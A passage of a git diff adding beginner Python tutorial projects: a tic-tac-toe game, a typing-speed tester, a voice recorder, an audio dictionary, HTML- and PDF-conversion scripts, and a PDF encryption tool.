end_y = self.table_size - self.table_space, self.table_size - self.table_space + + # for the diagonal winning pattern from top-right to bottom-left + elif line_type == "right-diag": + start_x, start_y = self.table_size - self.table_space, self.table_space + end_x, end_y = self.table_space, self.table_size - self.table_space + + # draws the line strike + line_strike = pygame.draw.line(screen, self.line_color, [start_x, start_y], [end_x, end_y], 8) + + + def main(self): + screen.fill(self.background_color) + self._draw_table() + while self.running: + self._message() + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + if self.event.type == pygame.MOUSEBUTTONDOWN: + if self.taking_move: + self._move(self.event.pos) + + pygame.display.flip() + self.FPS.tick(60) + + +if __name__ == "__main__": + g = TicTacToe(window_size[0]) + g.main() \ No newline at end of file diff --git a/gui-programming/type-speed-tester/README.md b/gui-programming/type-speed-tester/README.md new file mode 100644 index 00000000..bdc1382a --- /dev/null +++ b/gui-programming/type-speed-tester/README.md @@ -0,0 +1 @@ +# [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter) \ No newline at end of file diff --git a/gui-programming/type-speed-tester/type_speed_tester.py b/gui-programming/type-speed-tester/type_speed_tester.py new file mode 100644 index 00000000..dec8f71a --- /dev/null +++ b/gui-programming/type-speed-tester/type_speed_tester.py @@ -0,0 +1,123 @@ +from tkinter import * +import ctypes +import random +import tkinter + +# For a sharper window +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Setup +root = Tk() +root.title('Type Speed Test') + +# Setting the starting window dimensions +root.geometry('700x700') + +# Setting the Font for all Labels and Buttons +root.option_add("*Label.Font", "consolas 30") +root.option_add("*Button.Font", "consolas 30") + + +# functions +def keyPress(event=None): + try: + if event.char.lower() == labelRight.cget('text')[0].lower(): + # Deleting one from the right side. + labelRight.configure(text=labelRight.cget('text')[1:]) + # Deleting one from the right side. + labelLeft.configure(text=labelLeft.cget('text') + event.char.lower()) + #set the next Letter Lavbel + currentLetterLabel.configure(text=labelRight.cget('text')[0]) + except tkinter.TclError: + pass + + +def resetWritingLabels(): + # Text List + possibleTexts = [ + 'For writers, a random sentence can help them get their creative juices flowing. Since the topic of the sentence is completely unknown, it forces the writer to be creative when the sentence appears. There are a number of different ways a writer can use the random sentence for creativity. The most common way to use the sentence is to begin a story. Another option is to include it somewhere in the story. A much more difficult challenge is to use it to end a story. In any of these cases, it forces the writer to think creatively since they have no idea what sentence will appear from the tool.', + 'The goal of Python Code is to provide Python tutorials, recipes, problem fixes and articles to beginner and intermediate Python programmers, as well as sharing knowledge to the world. Python Code aims for making everyone in the world be able to learn how to code for free. Python is a high-level, interpreted, general-purpose programming language. Its design philosophy emphasizes code readability with the use of significant indentation. Python is dynamically-typed and garbage-collected. It supports multiple programming paradigms, including structured (particularly procedural), object-oriented and functional programming. It is often described as a "batteries included" language due to its comprehensive standard library.', + 'As always, we start with the imports. Because we make the UI with tkinter, we need to import it. We also import the font module from tkinter to change the fonts on our elements later. We continue by getting the partial function from functools, it is a genius function that excepts another function as a first argument and some args and kwargs and it will return a reference to this function with those arguments. This is especially useful when we want to insert one of our functions to a command argument of a button or a key binding.' + ] + # Chosing one of the texts randomly with the choice function + text = random.choice(possibleTexts).lower() + # defining where the text is split + splitPoint = 0 + # This is where the text is that is already written + global labelLeft + labelLeft = Label(root, text=text[0:splitPoint], fg='grey') + labelLeft.place(relx=0.5, rely=0.5, anchor=E) + + # Here is the text which will be written + global labelRight + labelRight = Label(root, text=text[splitPoint:]) + labelRight.place(relx=0.5, rely=0.5, anchor=W) + + # This label shows the user which letter he now has to press + global currentLetterLabel + currentLetterLabel = Label(root, text=text[splitPoint], fg='grey') + currentLetterLabel.place(relx=0.5, rely=0.6, anchor=N) + + # this label shows the user how much time has gone by + global timeleftLabel + timeleftLabel = Label(root, text=f'0 Seconds', fg='grey') + timeleftLabel.place(relx=0.5, rely=0.4, anchor=S) + + global writeAble + writeAble = True + root.bind('', keyPress) + + global passedSeconds + passedSeconds = 0 + + # Binding callbacks to functions after a certain amount of time. + root.after(60000, stopTest) + root.after(1000, addSecond) + +def stopTest(): + global writeAble + writeAble = False + + # Calculating the amount of words + amountWords = len(labelLeft.cget('text').split(' ')) + + # Destroy all unwanted widgets. + timeleftLabel.destroy() + currentLetterLabel.destroy() + labelRight.destroy() + labelLeft.destroy() + + # Display the test results with a formatted string + global ResultLabel + ResultLabel = Label(root, text=f'Words per Minute: {amountWords}', fg='black') + ResultLabel.place(relx=0.5, rely=0.4, anchor=CENTER) + + # Display a button to restart the game + global ResultButton + ResultButton = Button(root, text=f'Retry', command=restart) + ResultButton.place(relx=0.5, rely=0.6, anchor=CENTER) + +def restart(): + # Destry result widgets + ResultLabel.destroy() + ResultButton.destroy() + + # re-setup writing labels. + resetWritingLabels() + +def addSecond(): + # Add a second to the counter. + + global passedSeconds + passedSeconds += 1 + timeleftLabel.configure(text=f'{passedSeconds} Seconds') + + # call this function again after one second if the time is not over. + if writeAble: + root.after(1000, addSecond) + +# This will start the Test +resetWritingLabels() + +# Start the mainloop +root.mainloop() \ No newline at end of file diff --git a/gui-programming/voice-recorder-app/README.md b/gui-programming/voice-recorder-app/README.md new file mode 100644 index 00000000..9b648930 --- /dev/null +++ b/gui-programming/voice-recorder-app/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python) \ No newline at end of file diff --git a/gui-programming/voice-recorder-app/recorder.png b/gui-programming/voice-recorder-app/recorder.png new file mode 100644 index 00000000..32c1e9b3 Binary files /dev/null and b/gui-programming/voice-recorder-app/recorder.png differ diff --git a/gui-programming/voice-recorder-app/requirements.txt b/gui-programming/voice-recorder-app/requirements.txt new file mode 100644 index 00000000..ca3f00d8 --- /dev/null +++ b/gui-programming/voice-recorder-app/requirements.txt @@ -0,0 +1,2 @@ +scipy +sounddevice \ No newline at end of file diff --git a/gui-programming/voice-recorder-app/voice_recorder.py b/gui-programming/voice-recorder-app/voice_recorder.py new file mode 100644 index 00000000..4587c496 --- /dev/null +++ b/gui-programming/voice-recorder-app/voice_recorder.py @@ -0,0 +1,155 @@ +# importing everything from tkinter +from tkinter import * +# importing the styling module ttk from tkinter +from tkinter import ttk +# importing the message boxes from tkinter +from tkinter.messagebox import showinfo, showerror, askokcancel +# this is for recording the actual voice +import sounddevice +# this is for saving the recorded file to wav file format +from scipy.io.wavfile import write +# threading will help the app's tasks run concurrently +import threading +# importing datetime from datetime to handle dates +from datetime import datetime +# this will handle time +import time +# os module will be used for renaming files +import os + + +# the function for closing the main window +def close_window(): + # here we are checking if the value of askokcancel is True + if askokcancel(title='Close Voice Recorder', message='Are you sure you want to close the Voice Recorder?'): + # this kills the window + window.destroy() + + + +# function for recording sound +def record_voice(): + # the try statement is for + try: + # this is the frequence at which the record will happen + freq = 44100 + # getting the recording duration from the entry + duration = int(duration_entry.get()) + # calling the recorder via the rec() function + recording = sounddevice.rec(duration*freq, samplerate=freq, channels=2) + # declaring the counter + counter = 0 + # the loop is for displaying the recording progress + while counter < duration: + # updating the window + window.update() + # this will help update the window after every 1 second + time.sleep(1) + # incrementing the counter by 1 + counter += 1 + # displaying the recording duration + progress_label.config(text=str(counter)) + # this records audio for the specified duration + sounddevice.wait() + # writing the audio data to recording.wav + write('recording.wav', freq, recording) + # looping through all the files in the current folder + for file in os.listdir(): + # checking if the file name is recording.wav + if file == 'recording.wav': + # spliting the base and the extension + base, ext = os.path.splitext(file) + # getting current time + current_time = datetime.now() + # creating a new name for the recorded file + new_name = 'recording-' + str(current_time.hour) + '.' + str(current_time.minute) + '.' + str(current_time.second) + ext + # renaming the file + os.rename(file, new_name) + # display a message when recording is done + showinfo('Recording complete', 'Your recording is complete') + # function for catching all errors + except: + # display a message when an error is caught + showerror(title='Error', message='An error occurred' \ + '\nThe following could ' \ + 'be the causes:\n->Bad duration value\n->An empty entry field\n' \ + 'Do not leave the entry empty and make sure to enter a valid duration value') + +# the function to run record_voice as a thread +def recording_thread(): + # creating the thread whose target is record_voice() + t1 = threading.Thread(target=record_voice) + # starting the thread + t1.start() + + + + +# creates the window using Tk() fucntion +window = Tk() + +# this will listen to the close window event +window.protocol('WM_DELETE_WINDOW', close_window) + +# creates title for the window +window.title('Voice Recorder') + +# the icon for the application, this replaces the default icon +window.iconbitmap(window, 'voice_recorder_icon.ico') + +# dimensions and position of the window +window.geometry('500x450+440+180') +# makes the window non-resizable +window.resizable(height=FALSE, width=FALSE) + + +"""Styles for the widgets""" +# style for the label +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 15)) + +# style for the entry +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# style for the button +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font='DotumChe') + + +# creates the canvas for containing all the widgets +canvas = Canvas(window, width=500, height=400) +canvas.pack() + +# loading the logo +logo = PhotoImage(file='recorder.png') +# creates dimensions of the logo +logo = logo.subsample(2, 2) +# adding the logo to the canvas +canvas.create_image(240, 135, image=logo) + + +# creating a ttk label +duration_label = ttk.Label(window, text='Enter Recording Duration in Seconds:', style='TLabel') +# creating a ttk entry +duration_entry = ttk.Entry(window, width=76, style='TEntry') + +# adding the label to the canvas +canvas.create_window(235, 290, window=duration_label) +# adding the entry to the canvas +canvas.create_window(250, 315, window=duration_entry) + + +# creating the empty label for displaying download progress +progress_label = ttk.Label(window, text='') +# creating the button +record_button = ttk.Button(window, text='Record', style='TButton', command=recording_thread) + +# adding the label to the canvas +canvas.create_window(240, 365, window=progress_label) +# adding the button to the canvas +canvas.create_window(240, 410, window=record_button) + + +# this will run the main window infinetly +window.mainloop() \ No newline at end of file diff --git a/gui-programming/voice-recorder-app/voice_recorder_icon.ico b/gui-programming/voice-recorder-app/voice_recorder_icon.ico new file mode 100644 index 00000000..171fe256 Binary files /dev/null and b/gui-programming/voice-recorder-app/voice_recorder_icon.ico differ diff --git a/gui-programming/word-dictionary-with-audio/README.md b/gui-programming/word-dictionary-with-audio/README.md new file mode 100644 index 00000000..2ffc5974 --- /dev/null +++ b/gui-programming/word-dictionary-with-audio/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python) \ No newline at end of file diff --git a/gui-programming/word-dictionary-with-audio/audio-dictionary.py b/gui-programming/word-dictionary-with-audio/audio-dictionary.py new file mode 100644 index 00000000..5344e78d --- /dev/null +++ b/gui-programming/word-dictionary-with-audio/audio-dictionary.py @@ -0,0 +1,142 @@ +# this imports everything from the tkinter module +from tkinter import * +# importing the ttk module from tkinter that's for styling widgets +from tkinter import ttk +# importing message boxes like showinfo, showerror, askyesno from tkinter.messagebox +from tkinter.messagebox import showerror, askyesno +# importing the PyDictionary library +from PyDictionary import PyDictionary +# this package converts text to speech +import pyttsx3 + + +# the function for closing the application +def close_window(): + # this will ask the user whether to close or not + # if the value is yes/True the window will close + if askyesno(title='Close Audio Dictionary', message='Are you sure you want to close the application?'): + # this destroys the window + window.destroy() + + +# function for searching the word meaning +def search_word(): + # getting the word from the entry using the get() + word = word_entry.get() + # checking if the word variable is empty + if word == '': + # message box to display if the word variable is empty + showerror(title='Error', message='Please enter the word you wanna search for!!') + # the else statement will execute if the word variable is not empty + else: + # this will execute the code that will find the word meanings + try: + # creating a dictionary object + dictionary = PyDictionary() + # passing a word to the dictionary object + meanings = dictionary.meaning(word) + # deleting content in the text field + text_field.delete(1.0, END) + # inserting content(meanings) in the text field + text_field.insert('1.0', meanings) + # adding the word to the empty label + word_label.config(text=word) + # enabling the audio button to normal state + audio_button.config(state=NORMAL, command=speak) + # this will catch all the exceptions, No/slow internet connection, word with wrong spellings + except: + # display the error to the user + showerror(title='Error', message='An error occurred while trying to search word meaning' \ + '\nThe following could be ' \ + 'the cause:\n->No/Slow internet connection\n' \ + '->Wrong word spelling\n' \ + 'Please make sure you have a stable internet connection&\nthe word spelling is correct') + + + + +# function to turn textual data into audio data +def speak(): + # getting the word from the entry + word = word_entry.get() + # initializing the pyttsx3 object + engine = pyttsx3.init() + # gets the speaking rate + rate = engine.getProperty('rate') + # setting the speaking rate + engine.setProperty('rate', 125) + # getting the available voices + voices = engine.getProperty('voices') + # seeting the second voice, the female voice + engine.setProperty('voice', voices[1].id) + # this function takes the word to be spoken + engine.say(word) + # this fucntion processes the voice commands + engine.runAndWait() + + + +# creates the window using Tk() fucntion +window = Tk() +# creates title for the window +window.title('Audio-Dictionary') +# this is for closing the window via the close_window() function +window.protocol('WM_DELETE_WINDOW', close_window) +# adding the window's icon +window.iconbitmap(window, 'dictionary.ico') +# dimensions and position of the window +window.geometry('560x480+430+180') +# makes the window non-resizable +window.resizable(height=FALSE, width=FALSE) + +"""Styles for the widgets""" +# style for the big text label +big_label_style = ttk.Style() +big_label_style.configure('big_label_style.TLabel', foreground='#000000', font=('OCR A Extended', 40)) +# style for small text labels +small_label_style = ttk.Style() +small_label_style.configure('small_label_style.TLabel', foreground='#000000', font=('OCR A Extended', 15)) +# style for the entry +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 20)) +# style for the two buttons +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font='DotumChe') + +# creates the canvas for containing all the widgets +canvas = Canvas(window, width=480, height=560) +# packing the canvas +canvas.pack() +# creating a ttk label +text_label = ttk.Label(window, text='Audio Dictionary', style='big_label_style.TLabel') +# adding the label to the canvas +canvas.create_window(250, 55, window=text_label) +# creating a ttk entry +word_entry = ttk.Entry(window, width=73, style='TEntry') +# adding the entry to the canvas +canvas.create_window(230, 110, window=word_entry, height=35) +# loading the icon +search_icon = PhotoImage(file='search.png') +# creates dimensions of the icon +logo = search_icon.subsample(20, 20) +# creating a ttk button with a search icon +search_button = ttk.Button(window, image=logo, style='TButton', command=search_word) +# adding the entry to the canvas +canvas.create_window(468, 110, window=search_button) +# loading the icon +audio_icon = PhotoImage(file='speaker.png') +# creates dimensions of the logo +icon = audio_icon.subsample(10, 10) +word_label = ttk.Label(window, style='small_label_style.TLabel') +# adding the label to the canvas +canvas.create_window(80, 145, window=word_label) +# creating another ttk button with a speaker icon +audio_button = ttk.Button(window, image=icon, style='TButton', state=DISABLED) +# adding the entry to the canvas +canvas.create_window(25, 190, window=audio_button) +# creating the text field +text_field = Text(window, height=15, width=60) +# adding the text field to the canvas +canvas.create_window(248, 340, window=text_field) +# runs the window infinitely +window.mainloop() \ No newline at end of file diff --git a/gui-programming/word-dictionary-with-audio/dictionary.ico b/gui-programming/word-dictionary-with-audio/dictionary.ico new file mode 100644 index 00000000..d08a3355 Binary files /dev/null and b/gui-programming/word-dictionary-with-audio/dictionary.ico differ diff --git a/gui-programming/word-dictionary-with-audio/requirements.txt b/gui-programming/word-dictionary-with-audio/requirements.txt new file mode 100644 index 00000000..9598c659 --- /dev/null +++ b/gui-programming/word-dictionary-with-audio/requirements.txt @@ -0,0 +1,2 @@ +PyDictionary +pyttsx3 \ No newline at end of file diff --git a/gui-programming/word-dictionary-with-audio/search.png b/gui-programming/word-dictionary-with-audio/search.png new file mode 100644 index 00000000..fc523fb8 Binary files /dev/null and b/gui-programming/word-dictionary-with-audio/search.png differ diff --git a/gui-programming/word-dictionary-with-audio/speaker.png b/gui-programming/word-dictionary-with-audio/speaker.png new file mode 100644 index 00000000..08bd9f59 Binary files /dev/null and b/gui-programming/word-dictionary-with-audio/speaker.png differ diff --git a/handling-pdf-files/convert-html-to-pdf/README.md b/handling-pdf-files/convert-html-to-pdf/README.md new file mode 100644 index 00000000..4c9da08a --- /dev/null +++ b/handling-pdf-files/convert-html-to-pdf/README.md @@ -0,0 +1,4 @@ +# [How to Convert HTML to PDF in Python](https://www.thepythoncode.com/article/convert-html-to-pdf-in-python) +To run this: +- Install wkhtmltopdf, shown in the tutorial. +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/handling-pdf-files/convert-html-to-pdf/convert_html_to_pdf.py b/handling-pdf-files/convert-html-to-pdf/convert_html_to_pdf.py new file mode 100644 index 00000000..92305c09 --- /dev/null +++ b/handling-pdf-files/convert-html-to-pdf/convert_html_to_pdf.py @@ -0,0 +1,11 @@ +import pdfkit + +# directly from url +pdfkit.from_url("https://google.com/", "google.pdf", verbose=True) +print("="*50) +# from file +pdfkit.from_file("webapp/index.html", "index.pdf", verbose=True, options={"enable-local-file-access": True}) +print("="*50) +# from HTML content +pdfkit.from_string("

Python is a great programming language.

", "string.pdf", verbose=True) +print("="*50) \ No newline at end of file diff --git a/handling-pdf-files/convert-html-to-pdf/requirements.txt b/handling-pdf-files/convert-html-to-pdf/requirements.txt new file mode 100644 index 00000000..484b11cb --- /dev/null +++ b/handling-pdf-files/convert-html-to-pdf/requirements.txt @@ -0,0 +1 @@ +pdfkit \ No newline at end of file diff --git a/handling-pdf-files/convert-html-to-pdf/webapp/image.png b/handling-pdf-files/convert-html-to-pdf/webapp/image.png new file mode 100644 index 00000000..3ba082b1 Binary files /dev/null and b/handling-pdf-files/convert-html-to-pdf/webapp/image.png differ diff --git a/handling-pdf-files/convert-html-to-pdf/webapp/index.html b/handling-pdf-files/convert-html-to-pdf/webapp/index.html new file mode 100644 index 00000000..cfec784a --- /dev/null +++ b/handling-pdf-files/convert-html-to-pdf/webapp/index.html @@ -0,0 +1,52 @@ + + + + + + + + + + + + + + + + + + Python logo +

Sample text here. Random HTML table that is styled with CSS:

+ + + + + + + + + + + + + + + + + + + + + + + +
IDName
1Abdou
2Rockikz
3John
3Doe
+

This should be a red paragraph.

+ + \ No newline at end of file diff --git a/handling-pdf-files/convert-html-to-pdf/webapp/style.css b/handling-pdf-files/convert-html-to-pdf/webapp/style.css new file mode 100644 index 00000000..32bde57c --- /dev/null +++ b/handling-pdf-files/convert-html-to-pdf/webapp/style.css @@ -0,0 +1,3 @@ +.red-text { + color: red; +} \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-docx/README.md b/handling-pdf-files/convert-pdf-to-docx/README.md new file mode 100644 index 00000000..53bbdc2c --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-docx/README.md @@ -0,0 +1,7 @@ +# [How to Convert PDF to Docx in Python](https://www.thepythoncode.com/article/convert-pdf-files-to-docx-in-python) +To run this: +- `pip3 install -r requirements.txt` +- To convert `letter.pdf` to `letter.docx`, run: + ``` + $ python convert_pdf2docx.py letter.pdf letter.docx + ``` \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-docx/convert_pdf2docx.py b/handling-pdf-files/convert-pdf-to-docx/convert_pdf2docx.py new file mode 100644 index 00000000..b60bbb72 --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-docx/convert_pdf2docx.py @@ -0,0 +1,26 @@ +# Import Libraries +from pdf2docx import parse +from typing import Tuple + + +def convert_pdf2docx(input_file: str, output_file: str, pages: Tuple = None): + """Converts pdf to docx""" + if pages: + pages = [int(i) for i in list(pages) if i.isnumeric()] + result = parse(pdf_file=input_file, + docx_with_path=output_file, pages=pages) + summary = { + "File": input_file, "Pages": str(pages), "Output File": output_file + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("###################################################################") + return result + + +if __name__ == "__main__": + import sys + input_file = sys.argv[1] + output_file = sys.argv[2] + convert_pdf2docx(input_file, output_file) \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-docx/letter.pdf b/handling-pdf-files/convert-pdf-to-docx/letter.pdf new file mode 100644 index 00000000..20f77fe2 Binary files /dev/null and b/handling-pdf-files/convert-pdf-to-docx/letter.pdf differ diff --git a/handling-pdf-files/convert-pdf-to-docx/requirements.txt b/handling-pdf-files/convert-pdf-to-docx/requirements.txt new file mode 100644 index 00000000..b65ebf21 --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-docx/requirements.txt @@ -0,0 +1 @@ +pdf2docx==0.5.1 \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-image/README.md b/handling-pdf-files/convert-pdf-to-image/README.md new file mode 100644 index 00000000..a5415029 --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-image/README.md @@ -0,0 +1,7 @@ +# [How to Convert PDF to Images in Python](https://www.thepythoncode.com/article/convert-pdf-files-to-images-in-python) +To run this: +- `pip3 install -r requirements.txt` +- To convert the PDF file `bert-paper.pdf` into several images (image per page): + ``` + $ python convert_pdf2image.py bert-paper.pdf + ``` \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-image/bert-paper.pdf b/handling-pdf-files/convert-pdf-to-image/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/convert-pdf-to-image/bert-paper.pdf differ diff --git a/handling-pdf-files/convert-pdf-to-image/convert_pdf2image.py b/handling-pdf-files/convert-pdf-to-image/convert_pdf2image.py new file mode 100644 index 00000000..8788179b --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-image/convert_pdf2image.py @@ -0,0 +1,48 @@ +import fitz + +from typing import Tuple +import os + + +def convert_pdf2img(input_file: str, pages: Tuple = None): + """Converts pdf to image and generates a file by page""" + # Open the document + pdfIn = fitz.open(input_file) + output_files = [] + # Iterate throughout the pages + for pg in range(pdfIn.pageCount): + if str(pages) != str(None): + if str(pg) not in str(pages): + continue + # Select a page + page = pdfIn[pg] + rotate = int(0) + # PDF Page is converted into a whole picture 1056*816 and then for each picture a screenshot is taken. + # zoom = 1.33333333 -----> Image size = 1056*816 + # zoom = 2 ---> 2 * Default Resolution (text is clear, image text is hard to read) = filesize small / Image size = 1584*1224 + # zoom = 4 ---> 4 * Default Resolution (text is clear, image text is barely readable) = filesize large + # zoom = 8 ---> 8 * Default Resolution (text is clear, image text is readable) = filesize large + zoom_x = 2 + zoom_y = 2 + # The zoom factor is equal to 2 in order to make text clear + # Pre-rotate is to rotate if needed. + mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate) + pix = page.getPixmap(matrix=mat, alpha=False) + output_file = f"{os.path.splitext(os.path.basename(input_file))[0]}_page{pg+1}.png" + pix.writePNG(output_file) + output_files.append(output_file) + pdfIn.close() + summary = { + "File": input_file, "Pages": str(pages), "Output File(s)": str(output_files) + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("###################################################################") + return output_files + + +if __name__ == "__main__": + import sys + input_file = sys.argv[1] + convert_pdf2img(input_file) \ No newline at end of file diff --git a/handling-pdf-files/convert-pdf-to-image/requirements.txt b/handling-pdf-files/convert-pdf-to-image/requirements.txt new file mode 100644 index 00000000..b42af70d --- /dev/null +++ b/handling-pdf-files/convert-pdf-to-image/requirements.txt @@ -0,0 +1 @@ +PyMuPDF==1.18.9 \ No newline at end of file diff --git a/handling-pdf-files/encrypt-pdf/README.md b/handling-pdf-files/encrypt-pdf/README.md new file mode 100644 index 00000000..ae8ddba1 --- /dev/null +++ b/handling-pdf-files/encrypt-pdf/README.md @@ -0,0 +1,36 @@ +# [How to Encrypt and Decrypt PDF Files in Python](https://www.thepythoncode.com/article/encrypt-pdf-files-in-python) +To run this: +- `pip3 install -r requirements.txt` +- + ``` + $ python encrypt_pdf.py --help + ``` + **Output:** + ``` + usage: encrypt_pdf.py [-h] [-a {encrypt,decrypt}] [-l {1,2}] -p [PASSWORD] [-o OUTPUT_FILE] file + + These options are available + + positional arguments: + file Input PDF file you want to encrypt + + optional arguments: + -h, --help show this help message and exit + -a {encrypt,decrypt}, --action {encrypt,decrypt} + Choose whether to encrypt or to decrypt + -l {1,2}, --level {1,2} + Choose which protection level to apply + -p [PASSWORD], --password [PASSWORD] + Enter a valid password + -o OUTPUT_FILE, --output_file OUTPUT_FILE + Enter a valid output file + ``` +- For instance, to encrypt `bert-paper.pdf` file and output as bert-paper-encrypted.pdf: + ``` + $ python encrypt_pdf.py bert-paper.pdf -a encrypt -l 1 -p -o bert-paper-encrypted.pdf + ``` +- To decrypt it: + ``` + $ python encrypt_pdf.py bert-paper-encrypted.pdf -a decrypt -l 1 -p -o bert-paper-decrypted.pdf + ``` + This will spawn the original PDF file under the name `bert-paper-decrypted.pdf`. The password must be the same for encryption and decryption. \ No newline at end of file diff --git a/handling-pdf-files/encrypt-pdf/bert-paper.pdf b/handling-pdf-files/encrypt-pdf/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/encrypt-pdf/bert-paper.pdf differ diff --git a/handling-pdf-files/encrypt-pdf/encrypt_pdf.py b/handling-pdf-files/encrypt-pdf/encrypt_pdf.py new file mode 100644 index 00000000..1843c561 --- /dev/null +++ b/handling-pdf-files/encrypt-pdf/encrypt_pdf.py @@ -0,0 +1,190 @@ +# Import Libraries +from PyPDF4 import PdfFileReader, PdfFileWriter, utils +import os +import argparse +import getpass +from io import BytesIO +import pyAesCrypt + +# Size of chunck +BUFFER_SIZE = 64*1024 + + +def is_encrypted(input_file: str) -> bool: + """Checks if the inputted file is encrypted using PyPDF4 library""" + with open(input_file, 'rb') as pdf_file: + pdf_reader = PdfFileReader(pdf_file, strict=False) + return pdf_reader.isEncrypted + + +def encrypt_pdf(input_file: str, password: str): + """ + Encrypts a file using PyPDF4 library. + Precondition: File is not encrypted. + """ + pdf_writer = PdfFileWriter() + pdf_reader = PdfFileReader(open(input_file, 'rb'), strict=False) + if pdf_reader.isEncrypted: + print(f"PDF File {input_file} already encrypted") + return False, None, None + try: + # To encrypt all the pages of the input file, you need to loop over all of them + # and to add them to the writer. + for page_number in range(pdf_reader.numPages): + pdf_writer.addPage(pdf_reader.getPage(page_number)) + except utils.PdfReadError as e: + print(f"Error reading PDF File {input_file} = {e}") + return False, None, None + # The default is 128 bit encryption (if false then 40 bit encryption). + pdf_writer.encrypt(user_pwd=password, owner_pwd=None, use_128bit=True) + return True, pdf_reader, pdf_writer + + +def decrypt_pdf(input_file: str, password: str): + """ + Decrypts a file using PyPDF4 library. + Precondition: A file is already encrypted + """ + pdf_reader = PdfFileReader(open(input_file, 'rb'), strict=False) + if not pdf_reader.isEncrypted: + print(f"PDF File {input_file} not encrypted") + return False, None, None + pdf_reader.decrypt(password=password) + pdf_writer = PdfFileWriter() + try: + for page_number in range(pdf_reader.numPages): + pdf_writer.addPage(pdf_reader.getPage(page_number)) + except utils.PdfReadError as e: + print(f"Error reading PDF File {input_file} = {e}") + return False, None, None + return True, pdf_reader, pdf_writer + + +def cipher_stream(inp_buffer: BytesIO, password: str): + """Ciphers an input memory buffer and returns a ciphered output memory buffer""" + # Initialize output ciphered binary stream + out_buffer = BytesIO() + inp_buffer.seek(0) + # Encrypt Stream + pyAesCrypt.encryptStream(inp_buffer, out_buffer, password, BUFFER_SIZE) + out_buffer.seek(0) + return out_buffer + + +def decipher_file(input_file: str, output_file: str, password: str): + """ + Deciphers an input file and returns a deciphered output file + """ + inpFileSize = os.stat(input_file).st_size + out_buffer = BytesIO() + with open(input_file, mode='rb') as inp_buffer: + try: + # Decrypt Stream + pyAesCrypt.decryptStream( + inp_buffer, out_buffer, password, BUFFER_SIZE, inpFileSize) + except Exception as e: + print("Exception", str(e)) + return False + inp_buffer.close() + if out_buffer: + with open(output_file, mode='wb') as f: + f.write(out_buffer.getbuffer()) + f.close() + return True + + +def encrypt_decrypt_file(**kwargs): + """Encrypts or decrypts a file""" + input_file = kwargs.get('input_file') + password = kwargs.get('password') + output_file = kwargs.get('output_file') + action = kwargs.get('action') + # Protection Level + # Level 1 --> Encryption / Decryption using PyPDF4 + # Level 2 --> Encryption and Ciphering / Deciphering and Decryption + level = kwargs.get('level') + if not output_file: + output_file = input_file + if action == "encrypt": + result, pdf_reader, pdf_writer = encrypt_pdf( + input_file=input_file, password=password) + # Encryption completed successfully + if result: + output_buffer = BytesIO() + pdf_writer.write(output_buffer) + pdf_reader.stream.close() + if level == 2: + output_buffer = cipher_stream(output_buffer, password=password) + with open(output_file, mode='wb') as f: + f.write(output_buffer.getbuffer()) + f.close() + elif action == "decrypt": + if level == 2: + decipher_file(input_file=input_file, + output_file=output_file, password=password) + result, pdf_reader, pdf_writer = decrypt_pdf( + input_file=input_file, password=password) + # Decryption completed successfully + if result: + output_buffer = BytesIO() + pdf_writer.write(output_buffer) + pdf_reader.stream.close() + with open(output_file, mode='wb') as f: + f.write(output_buffer.getbuffer()) + f.close() + + + +class Password(argparse.Action): + """ + Hides the password entry + """ + def __call__(self, parser, namespace, values, option_string): + if values is None: + values = getpass.getpass() + setattr(namespace, self.dest, values) + + +def is_valid_path(path): + """Validates the path inputted and checks whether it is a file path or a folder path""" + if not path: + raise ValueError(f"Invalid Path") + if os.path.isfile(path): + return path + elif os.path.isdir(path): + return path + else: + raise ValueError(f"Invalid Path {path}") + + +def parse_args(): + """Get user command line parameters""" + parser = argparse.ArgumentParser(description="These options are available") + parser.add_argument("file", help="Input PDF file you want to encrypt", type=is_valid_path) + # parser.add_argument('-i', '--input_path', dest='input_path', type=is_valid_path, + # required=True, help="Enter the path of the file or the folder to process") + parser.add_argument('-a', '--action', dest='action', choices=[ + 'encrypt', 'decrypt'], type=str, default='encrypt', help="Choose whether to encrypt or to decrypt") + parser.add_argument('-l', '--level', dest='level', choices=[ + 1, 2], type=int, default=1, help="Choose which protection level to apply") + parser.add_argument('-p', '--password', dest='password', action=Password, + nargs='?', type=str, required=True, help="Enter a valid password") + parser.add_argument('-o', '--output_file', dest='output_file', + type=str, help="Enter a valid output file") + args = vars(parser.parse_args()) + # To Display Command Arguments Except Password + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) + for i, j in args.items() if i != 'password')) + print("######################################################################") + return args + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + args = parse_args() + # Encrypting or Decrypting File + encrypt_decrypt_file( + 